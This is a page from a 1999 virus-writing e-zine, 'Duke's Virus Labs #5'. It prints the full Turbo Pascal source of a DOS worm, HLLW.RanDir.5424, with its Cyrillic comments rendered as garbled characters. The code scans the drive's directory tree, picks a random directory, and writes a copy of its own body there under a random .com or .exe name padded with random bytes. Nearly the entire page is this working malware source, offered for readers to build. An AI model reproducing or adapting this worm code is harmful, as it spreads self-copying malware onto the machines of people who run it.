- [Duke's Virus Labs #5] - [Page 04] -

HLLW.RanDir.5424
(c) by Duke/SMF

     : HLLW.RanDir.5424
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 04.02.99

   ᪮ ᯮ짮 ⥪  ⪮  HLLW.RanDir.5584,
 । ᨨ  訫   .  !   
    - ,   ஢ :)

===== Cut here =====
{$I-,S-}
program Virus_RandomDir_2;
uses dos;
const VirLen=5424;
var Kol,               {- ४਩  ᪥}
    K,M:integer;
    NewName,           { ᮧ }
    Disk,              {⥪騩 }
    P:string;          { ४}
{---------------------------------------------------------------------------}
procedure ScanTree(Dir:string);
var N:searchrec;
begin
Kol:=Kol+1;
{᪠ 㣨 () ४ਨ:}
if Dir[length(Dir)]<>'\'then Dir:=Dir+'\';
findfirst(Dir+'*.*',$3F,N);
while doserror=0 do
  begin
  with N do if (Attr and 16<>0) and (Name[1]<>'.')         {諨 ४}
    then ScanTree(Dir+Name);
  findnext(N);
  end;
end;
{---------------------------------------------------------------------------}
procedure MakeRandomName;                             {ᮧ 砩 }
var i,d:byte;
begin
d:=random(8)+1;
NewName:='[HLLW.RanDir-2 (c) by Duke/SMF]';                { ࠩ ;)}
NewName:='';
for i:=1 to d do NewName:=NewName+chr(random(26)+97);
d:=random(255);
if d div 2 = d/2 then NewName:=NewName+'.com' else NewName:=NewName+'.exe';
end;
{---------------------------------------------------------------------------}
procedure FindDir(Dir:string);                     {᪠ 㦭 ४}
var N:searchrec;
begin
M:=M+1;
if M=K then P:=Dir;
if M<K then
  begin
  if Dir[length(Dir)]<>'\'then Dir:=Dir+'\';
  findfirst(Dir+'*.*',$3F,N);
  while doserror=0 do
    begin
    with N do if (Attr and 16<>0) and (Name[1]<>'.')
      then FindDir(Dir+Name);
    if M<K then findnext(N);
    end;
  end;
end;
{---------------------------------------------------------------------------}
procedure MakeWorm;                   {ᮧ }
var f:file;
    C:byte;
    Body:array[1..VirLen] of byte;
begin
NewName:=P+'\'+NewName;               {塞  ⥬}
assign(f,paramstr(0));reset(f,VirLen);
blockread(f,Body,1);
close(f);
assign(f,NewName);rewrite(f,1);
blockwrite(f,Body,VirLen);
for M:=0 to random(1000) do
  begin
  C:=random(255);
  blockwrite(f,C,1);
  end;
close(f);
end;
{---------------------------------------------------------------------------}
begin
Kol:=0;                               {   0 ४਩}
Disk:=copy(fexpand(paramstr(0)),1,2); {।  ᪠}
ScanTree(Disk);                       {⠥ - ४਩}
Randomize;                            {樨㥬 random-}
MakeRandomName;                       {ᮧ 砩 }
K:=random(Kol);                       {६ 砩 ᫮  0  Kol}
M:=0;                                 {   0- ४}
FindDir(Disk);                        {饬 K- ४}
MakeWorm;                             {ᮧ }
end.
===== Cut here =====
